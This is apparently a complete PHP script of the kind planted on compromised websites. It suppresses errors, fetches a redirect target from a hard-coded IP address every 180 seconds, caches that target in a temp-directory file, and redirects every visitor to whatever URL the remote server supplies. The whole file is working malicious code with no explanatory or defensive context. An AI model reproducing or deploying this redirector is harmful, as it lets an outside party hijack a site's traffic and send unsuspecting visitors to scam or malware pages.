<?php
ini_set('display_errors',0);if(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir(){if(!empty($_ENV['TMP'])){return realpath($_ENV['TMP']);}if(!empty($_ENV['TMPDIR'])){return realpath($_ENV['TMPDIR']);}if(!empty($_ENV['TEMP'])){return realpath($_ENV['TEMP']);}$tempfile=tempnam(__FILE__,'');if(file_exists($tempfile)){unlink($tempfile);return realpath(dirname($tempfile));}return null;}}$geturl='http://188.190.124.81/tds.php';$timeout=180;$default_url='http://www.google.com/robots.txt';if(!$geturl)exit();$base=ini_get('upload_tmp_dir');if($base==null)$base=sys_get_temp_dir();$tmp_settings=$base."/settings.json";$settings=file_exists($tmp_settings)?unserialize(file_get_contents($tmp_settings)):array('last'=>0,'url'=>$default_url);if($settings['last']<time()-$timeout){if($settings['url']=file_get_contents($geturl)){$settings['last']=time();$fp=fopen($tmp_settings,'w');flock($fp,LOCK_EX);fputs($fp,serialize($settings));flock($fp,LOCK_UN);fclose($fp);}}$url=$settings['url']?$settings['url']:file_get_contents($geturl);if(substr($url,0,4)!='http')$url="http://".$url."/";header("Location: $url");exit();?>

